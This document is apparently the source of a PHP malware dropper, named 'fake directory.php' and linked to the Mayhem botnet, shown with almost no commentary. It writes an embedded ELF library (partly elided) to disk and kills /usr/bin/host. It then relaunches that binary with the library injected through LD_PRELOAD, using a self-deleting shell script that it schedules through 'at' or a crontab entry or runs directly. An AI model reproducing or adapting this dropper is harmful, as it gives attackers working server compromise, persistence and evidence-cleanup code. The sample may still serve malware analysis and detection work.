fake directory.php

<?php

header("Content-type: text/plain");
print "2842123700\n";

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x
....
\x2d\x61\x00\x2f\x2f\x00\x2e\x00\x2f\x74\x6d\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6d\x6a\x20\x00\x00\x00\x00\x00\x6f\x6a\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00";
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
        $arch = 32;
print "Arch is ".$arch."\n";
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
        $n = unpack("C*", fread($f, 8));
        $so[7] = sprintf("%c", $n[8]);
        print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
        fclose($f);
}
print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
if (getenv("MAYHEM_DEBUG"))
        exit(0);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
/* second stage dropper */
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
$SCR  ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
@file_put_contents("1.sh", $SCR);
@chmod("1.sh", 0777);
/* try at now, file will be removed, crontab cleaned on success */
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
        for ($i = 0; $i < 5; $i++) {
                if (! @file_exists("1.sh")) {
                        print "AT success\n";
                        exit(0);
                }
                sleep(1);
        }
}
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
        for ($i = 0; $i < 62; $i++) {
                if (! @file_exists("1.sh")) {
                        print "CRONTAB success\n";
                        exit(0);
                }
                sleep(1);
        }
}
print "Running straight\n";
@system("./1.sh");

?>
(END)